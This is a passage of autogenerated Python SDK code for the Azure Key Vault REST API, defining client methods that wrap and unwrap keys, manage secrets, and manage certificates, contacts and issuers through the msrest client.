response.status_code == 200: deserialized = self._deserialize('KeyVerifyResult', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def wrap_key( self, vault_base_url, key_name, key_version, algorithm, value, custom_headers=None, raw=False, **operation_config): """Wraps a symmetric key using a specified key. :param vault_base_url: The vault name, for example https://myvault.vault.azure.net. :type vault_base_url: str :param key_name: The name of the key. :type key_name: str :param key_version: The version of the key. :type key_version: str :param algorithm: algorithm identifier. Possible values include: 'RSA-OAEP', 'RSA1_5' :type algorithm: str or :class:`JsonWebKeyEncryptionAlgorithm <azure.keyvault.generated.models.JsonWebKeyEncryptionAlgorithm>` :param value: :type value: bytes :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`KeyOperationResult <azure.keyvault.generated.models.KeyOperationResult>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true :raises: :class:`KeyVaultErrorException<azure.keyvault.generated.models.KeyVaultErrorException>` """ parameters = models.KeyOperationsParameters(algorithm=algorithm, value=value) # Construct URL url = '/keys/{key-name}/{key-version}/wrapkey' path_format_arguments = { 'vaultBaseUrl': self._serialize.url("vault_base_url", vault_base_url, 'str', skip_quote=True), 'key-name': self._serialize.url("key_name", key_name, 'str'), 'key-version': self._serialize.url("key_version", key_version, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct body body_content = self._serialize.body(parameters, 'KeyOperationsParameters') # Construct and send request request = self._client.post(url, query_parameters) response = self._client.send( request, header_parameters, body_content, **operation_config) if response.status_code not in [200]: raise models.KeyVaultErrorException(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._deserialize('KeyOperationResult', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def unwrap_key( self, vault_base_url, key_name, key_version, algorithm, value, custom_headers=None, raw=False, **operation_config): """Unwraps a symmetric key using the specified key that was initially used for wrapping that key. :param vault_base_url: The vault name, for example https://myvault.vault.azure.net. :type vault_base_url: str :param key_name: The name of the key. :type key_name: str :param key_version: The version of the key. :type key_version: str :param algorithm: algorithm identifier. Possible values include: 'RSA-OAEP', 'RSA1_5' :type algorithm: str or :class:`JsonWebKeyEncryptionAlgorithm <azure.keyvault.generated.models.JsonWebKeyEncryptionAlgorithm>` :param value: :type value: bytes :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`KeyOperationResult <azure.keyvault.generated.models.KeyOperationResult>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true :raises: :class:`KeyVaultErrorException<azure.keyvault.generated.models.KeyVaultErrorException>` """ parameters = models.KeyOperationsParameters(algorithm=algorithm, value=value) # Construct URL url = '/keys/{key-name}/{key-version}/unwrapkey' path_format_arguments = { 'vaultBaseUrl': self._serialize.url("vault_base_url", vault_base_url, 'str', skip_quote=True), 'key-name': self._serialize.url("key_name", key_name, 'str'), 'key-version': self._serialize.url("key_version", key_version, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct body body_content = self._serialize.body(parameters, 'KeyOperationsParameters') # Construct and send request request = self._client.post(url, query_parameters) response = self._client.send( request, header_parameters, body_content, **operation_config) if response.status_code not in [200]: raise models.KeyVaultErrorException(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._deserialize('KeyOperationResult', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def set_secret( self, vault_base_url, secret_name, value, tags=None, content_type=None, secret_attributes=None, custom_headers=None, raw=False, **operation_config): """Sets a secret in a specified key vault. :param vault_base_url: The vault name, for example https://myvault.vault.azure.net. :type vault_base_url: str :param secret_name: The name of the secret. :type secret_name: str :param value: The value of the secret. :type value: str :param tags: Application specific metadata in the form of key-value pairs. :type tags: dict :param content_type: Type of the secret value such as a password. :type content_type: str :param secret_attributes: The secret management attributes. :type secret_attributes: :class:`SecretAttributes <azure.keyvault.generated.models.SecretAttributes>` :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`SecretBundle <azure.keyvault.generated.models.SecretBundle>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true :raises: :class:`KeyVaultErrorException<azure.keyvault.generated.models.KeyVaultErrorException>` """ parameters = models.SecretSetParameters(value=value, tags=tags, content_type=content_type, secret_attributes=secret_attributes) # Construct URL url = '/secrets/{secret-name}' path_format_arguments = { 'vaultBaseUrl': self._serialize.url("vault_base_url", vault_base_url, 'str', skip_quote=True), 'secret-name': self._serialize.url("secret_name", secret_name, 'str', pattern='^[0-9a-zA-Z-]+$') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct body body_content = self._serialize.body(parameters, 'SecretSetParameters') # Construct and send request request = self._client.put(url, query_parameters) response = self._client.send( request, header_parameters, body_content, **operation_config) if response.status_code not in [200]: raise models.KeyVaultErrorException(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._deserialize('SecretBundle', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def delete_secret( self, vault_base_url, secret_name, custom_headers=None, raw=False, **operation_config): """Deletes a secret from a specified key vault. :param vault_base_url: The vault name, for example https://myvault.vault.azure.net. :type vault_base_url: str :param secret_name: The name of the secret. :type secret_name: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`SecretBundle <azure.keyvault.generated.models.SecretBundle>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true :raises: :class:`KeyVaultErrorException<azure.keyvault.generated.models.KeyVaultErrorException>` """ # Construct URL url = '/secrets/{secret-name}' path_format_arguments = { 'vaultBaseUrl': self._serialize.url("vault_base_url", vault_base_url, 'str', skip_quote=True), 'secret-name': self._serialize.url("secret_name", secret_name, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.delete(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: raise models.KeyVaultErrorException(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._deserialize('SecretBundle', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def update_secret( self, vault_base_url, secret_name, secret_version, content_type=None, secret_attributes=None, tags=None, custom_headers=None, raw=False, **operation_config): """Updates the attributes associated with a specified secret in a given key vault. :param vault_base_url: The vault name, for example https://myvault.vault.azure.net. :type vault_base_url: str :param secret_name: The name of the secret. :type secret_name: str :param secret_version: The version of the secret. :type secret_version: str :param content_type: Type of the secret value such as a password. :type content_type: str :param secret_attributes: The secret management attributes. :type secret_attributes: :class:`SecretAttributes <azure.keyvault.generated.models.SecretAttributes>` :param tags: Application specific metadata in the form of key-value pairs. :type tags: dict :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`SecretBundle <azure.keyvault.generated.models.SecretBundle>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true :raises: :class:`KeyVaultErrorException<azure.keyvault.generated.models.KeyVaultErrorException>` """ parameters = models.SecretUpdateParameters(content_type=content_type, secret_attributes=secret_attributes, tags=tags) # Construct URL url = '/secrets/{secret-name}/{secret-version}' path_format_arguments = { 'vaultBaseUrl': self._serialize.url("vault_base_url", vault_base_url, 'str', skip_quote=True), 'secret-name': self._serialize.url("secret_name", secret_name, 'str'), 'secret-version': self._serialize.url("secret_version", secret_version, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct body body_content = self._serialize.body(parameters, 'SecretUpdateParameters') # Construct and send request request = self._client.patch(url, query_parameters) response = self._client.send( request, header_parameters, body_content, **operation_config) if response.status_code not in [200]: raise models.KeyVaultErrorException(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._deserialize('SecretBundle', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def get_secret( self, vault_base_url, secret_name, secret_version, custom_headers=None, raw=False, **operation_config): """Get a specified secret from a given key vault. :param vault_base_url: The vault name, for example https://myvault.vault.azure.net. :type vault_base_url: str :param secret_name: The name of the secret. :type secret_name: str :param secret_version: The version of the secret. :type secret_version: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`SecretBundle <azure.keyvault.generated.models.SecretBundle>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true :raises: :class:`KeyVaultErrorException<azure.keyvault.generated.models.KeyVaultErrorException>` """ # Construct URL url = '/secrets/{secret-name}/{secret-version}' path_format_arguments = { 'vaultBaseUrl': self._serialize.url("vault_base_url", vault_base_url, 'str', skip_quote=True), 'secret-name': self._serialize.url("secret_name", secret_name, 'str'), 'secret-version': self._serialize.url("secret_version", secret_version, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: raise models.KeyVaultErrorException(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._deserialize('SecretBundle', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def get_secrets( self, vault_base_url, maxresults=None, custom_headers=None, raw=False, **operation_config): """List secrets in a specified key vault. :param vault_base_url: The vault name, for example https://myvault.vault.azure.net. :type vault_base_url: str :param maxresults: Maximum number of results to return in a page. If not specified the service will return up to 25 results. :type maxresults: int :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`SecretItemPaged <azure.keyvault.generated.models.SecretItemPaged>` :raises: :class:`KeyVaultErrorException<azure.keyvault.generated.models.KeyVaultErrorException>` """ def internal_paging(next_link=None, raw=False): if not next_link: # Construct URL url = '/secrets' path_format_arguments = { 'vaultBaseUrl': self._serialize.url("vault_base_url", vault_base_url, 'str', skip_quote=True) } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} if maxresults is not None: query_parameters['maxresults'] = self._serialize.query("maxresults", maxresults, 'int', maximum=25, minimum=1) query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') else: url = next_link query_parameters = {} # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send( request, header_parameters, **operation_config) if response.status_code not in [200]: raise models.KeyVaultErrorException(self._deserialize, response) return response # Deserialize response deserialized = models.SecretItemPaged(internal_paging, self._deserialize.dependencies) if raw: header_dict = {} client_raw_response = models.SecretItemPaged(internal_paging, self._deserialize.dependencies, header_dict) return client_raw_response return deserialized def get_secret_versions( self, vault_base_url, secret_name, maxresults=None, custom_headers=None, raw=False, **operation_config): """List the versions of the specified secret. :param vault_base_url: The vault name, for example https://myvault.vault.azure.net. :type vault_base_url: str :param secret_name: The name of the secret. :type secret_name: str :param maxresults: Maximum number of results to return in a page. If not specified the service will return up to 25 results. :type maxresults: int :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`SecretItemPaged <azure.keyvault.generated.models.SecretItemPaged>` :raises: :class:`KeyVaultErrorException<azure.keyvault.generated.models.KeyVaultErrorException>` """ def internal_paging(next_link=None, raw=False): if not next_link: # Construct URL url = '/secrets/{secret-name}/versions' path_format_arguments = { 'vaultBaseUrl': self._serialize.url("vault_base_url", vault_base_url, 'str', skip_quote=True), 'secret-name': self._serialize.url("secret_name", secret_name, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} if maxresults is not None: query_parameters['maxresults'] = self._serialize.query("maxresults", maxresults, 'int', maximum=25, minimum=1) query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') else: url = next_link query_parameters = {} # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send( request, header_parameters, **operation_config) if response.status_code not in [200]: raise models.KeyVaultErrorException(self._deserialize, response) return response # Deserialize response deserialized = models.SecretItemPaged(internal_paging, self._deserialize.dependencies) if raw: header_dict = {} client_raw_response = models.SecretItemPaged(internal_paging, self._deserialize.dependencies, header_dict) return client_raw_response return deserialized def get_certificates( self, vault_base_url, maxresults=None, custom_headers=None, raw=False, **operation_config): """List certificates in a specified key vault. :param vault_base_url: The vault name, for example https://myvault.vault.azure.net. :type vault_base_url: str :param maxresults: Maximum number of results to return in a page. If not specified the service will return up to 25 results. :type maxresults: int :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`CertificateItemPaged <azure.keyvault.generated.models.CertificateItemPaged>` :raises: :class:`KeyVaultErrorException<azure.keyvault.generated.models.KeyVaultErrorException>` """ def internal_paging(next_link=None, raw=False): if not next_link: # Construct URL url = '/certificates' path_format_arguments = { 'vaultBaseUrl': self._serialize.url("vault_base_url", vault_base_url, 'str', skip_quote=True) } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} if maxresults is not None: query_parameters['maxresults'] = self._serialize.query("maxresults", maxresults, 'int', maximum=25, minimum=1) query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') else: url = next_link query_parameters = {} # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send( request, header_parameters, **operation_config) if response.status_code not in [200]: raise models.KeyVaultErrorException(self._deserialize, response) return response # Deserialize response deserialized = models.CertificateItemPaged(internal_paging, self._deserialize.dependencies) if raw: header_dict = {} client_raw_response = models.CertificateItemPaged(internal_paging, self._deserialize.dependencies, header_dict) return client_raw_response return deserialized def delete_certificate( self, vault_base_url, certificate_name, custom_headers=None, raw=False, **operation_config): """Deletes a certificate from a specified key vault. :param vault_base_url: The vault name, for example https://myvault.vault.azure.net. :type vault_base_url: str :param certificate_name: The name of the certificate. :type certificate_name: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`CertificateBundle <azure.keyvault.generated.models.CertificateBundle>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true :raises: :class:`KeyVaultErrorException<azure.keyvault.generated.models.KeyVaultErrorException>` """ # Construct URL url = '/certificates/{certificate-name}' path_format_arguments = { 'vaultBaseUrl': self._serialize.url("vault_base_url", vault_base_url, 'str', skip_quote=True), 'certificate-name': self._serialize.url("certificate_name", certificate_name, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.delete(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: raise models.KeyVaultErrorException(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._deserialize('CertificateBundle', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def set_certificate_contacts( self, vault_base_url, contact_list=None, custom_headers=None, raw=False, **operation_config): """Sets the certificate contacts for the specified key vault. :param vault_base_url: The vault name, for example https://myvault.vault.azure.net. :type vault_base_url: str :param contact_list: The contact list for the vault certificates. :type contact_list: list of :class:`Contact <azure.keyvault.generated.models.Contact>` :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`Contacts <azure.keyvault.generated.models.Contacts>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true :raises: :class:`KeyVaultErrorException<azure.keyvault.generated.models.KeyVaultErrorException>` """ contacts = models.Contacts(contact_list=contact_list) # Construct URL url = '/certificates/contacts' path_format_arguments = { 'vaultBaseUrl': self._serialize.url("vault_base_url", vault_base_url, 'str', skip_quote=True) } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct body body_content = self._serialize.body(contacts, 'Contacts') # Construct and send request request = self._client.put(url, query_parameters) response = self._client.send( request, header_parameters, body_content, **operation_config) if response.status_code not in [200]: raise models.KeyVaultErrorException(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._deserialize('Contacts', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def get_certificate_contacts( self, vault_base_url, custom_headers=None, raw=False, **operation_config): """Lists the certificate contacts for a specified key vault. :param vault_base_url: The vault name, for example https://myvault.vault.azure.net. :type vault_base_url: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`Contacts <azure.keyvault.generated.models.Contacts>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true :raises: :class:`KeyVaultErrorException<azure.keyvault.generated.models.KeyVaultErrorException>` """ # Construct URL url = '/certificates/contacts' path_format_arguments = { 'vaultBaseUrl': self._serialize.url("vault_base_url", vault_base_url, 'str', skip_quote=True) } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: raise models.KeyVaultErrorException(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._deserialize('Contacts', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def delete_certificate_contacts( self, vault_base_url, custom_headers=None, raw=False, **operation_config): """Deletes the certificate contacts for a specified key vault. :param vault_base_url: The vault name, for example https://myvault.vault.azure.net. :type vault_base_url: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`Contacts <azure.keyvault.generated.models.Contacts>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true :raises: :class:`KeyVaultErrorException<azure.keyvault.generated.models.KeyVaultErrorException>` """ # Construct URL url = '/certificates/contacts' path_format_arguments = { 'vaultBaseUrl': self._serialize.url("vault_base_url", vault_base_url, 'str', skip_quote=True) } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.delete(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: raise models.KeyVaultErrorException(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._deserialize('Contacts', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def get_certificate_issuers( self, vault_base_url, maxresults=None, custom_headers=None, raw=False, **operation_config): """List certificate issuers for a specified key vault. :param vault_base_url: The vault name, for example https://myvault.vault.azure.net. :type vault_base_url: str :param maxresults: Maximum number of results to return in a page. If not specified the service will return up to 25 results. :type maxresults: int :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`CertificateIssuerItemPaged <azure.keyvault.generated.models.CertificateIssuerItemPaged>` :raises: :class:`KeyVaultErrorException<azure.keyvault.generated.models.KeyVaultErrorException>` """ def internal_paging(next_link=None, raw=False): if not next_link: # Construct URL url = '/certificates/issuers' path_format_arguments = { 'vaultBaseUrl': self._serialize.url("vault_base_url", vault_base_url, 'str', skip_quote=True) } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} if maxresults is not None: query_parameters['maxresults'] = self._serialize.query("maxresults", maxresults, 'int', maximum=25, minimum=1) query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') else: url = next_link query_parameters = {} # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send( request, header_parameters, **operation_config) if response.status_code not in [200]: raise models.KeyVaultErrorException(self._deserialize, response) return response # Deserialize response deserialized = models.CertificateIssuerItemPaged(internal_paging, self._deserialize.dependencies) if raw: header_dict = {} client_raw_response = models.CertificateIssuerItemPaged(internal_paging, self._deserialize.dependencies, header_dict) return client_raw_response return deserialized def set_certificate_issuer( self, vault_base_url, issuer_name, provider, credentials=None, organization_details=None, attributes=None, custom_headers=None, raw=False, **operation_config): """Sets the specified certificate issuer. :param vault_base_url: The vault name, for example https://myvault.vault.azure.net. :type vault_base_url: str :param issuer_name: The name of the issuer. :type issuer_name: str :param provider: The issuer provider. :type provider: str :param credentials: The credentials to be used for the issuer. :type credentials: :class:`IssuerCredentials <azure.keyvault.generated.models.IssuerCredentials>` :param organization_details: Details of the organization as provided to the issuer. :type organization_details: :class:`OrganizationDetails <azure.keyvault.generated.models.OrganizationDetails>` :param attributes: Attributes of the issuer object. :type attributes: :class:`IssuerAttributes <azure.keyvault.generated.models.IssuerAttributes>` :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`IssuerBundle <azure.keyvault.generated.models.IssuerBundle>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true :raises: :class:`KeyVaultErrorException<azure.keyvault.generated.models.KeyVaultErrorException>` """ parameter = models.CertificateIssuerSetParameters(provider=provider, credentials=credentials, organization_details=organization_details, attributes=attributes) # Construct URL url = '/certificates/issuers/{issuer-name}' path_format_arguments = { 'vaultBaseUrl': self._serialize.url("vault_base_url", vault_base_url, 'str', skip_quote=True), 'issuer-name': self._serialize.url("issuer_name", issuer_name, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct body body_content = self._serialize.body(parameter, 'CertificateIssuerSetParameters') # Construct and send request request = self._client.put(url, query_parameters) response = self._client.send( request, header_parameters, body_content, **operation_config) if response.status_code not in [200]: raise models.KeyVaultErrorException(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._deserialize('IssuerBundle', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def update_certificate_issuer( self, vault_base_url, issuer_name, provider=None, credentials=None, organization_details=None, attributes=None, custom_headers=None, raw=False, **operation_config): """Updates the specified certificate issuer. :param vault_base_url: The vault name, for example https://myvault.vault.azure.net. :type vault_base_url: str :param issuer_name: The name of the issuer. :type issuer_name: str :param provider: The issuer provider. :type provider: str :param credentials: The credentials to be used for the issuer. :type credentials: :class:`IssuerCredentials <azure.keyvault.generated.models.IssuerCredentials>` :param organization_details: Details of the organization as provided to the issuer. :type organization_details: :class:`OrganizationDetails <azure.keyvault.generated.models.OrganizationDetails>` :param attributes: Attributes of the issuer object. :type attributes: :class:`IssuerAttributes <azure.keyvault.generated.models.IssuerAttributes>` :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`IssuerBundle <azure.keyvault.generated.models.IssuerBundle>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true :raises: :class:`KeyVaultErrorException<azure.keyvault.generated.models.KeyVaultErrorException>` """ parameter = models.CertificateIssuerUpdateParameters(provider=provider, credentials=credentials, organization_details=organization_details, attributes=attributes) # Construct URL url = '/certificates/issuers/{issuer-name}' path_format_arguments = { 'vaultBaseUrl': self._serialize.url("vault_base_url", vault_base_url, 'str', skip_quote=True), 'issuer-name': self._serialize.url("issuer_name", issuer_name, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} 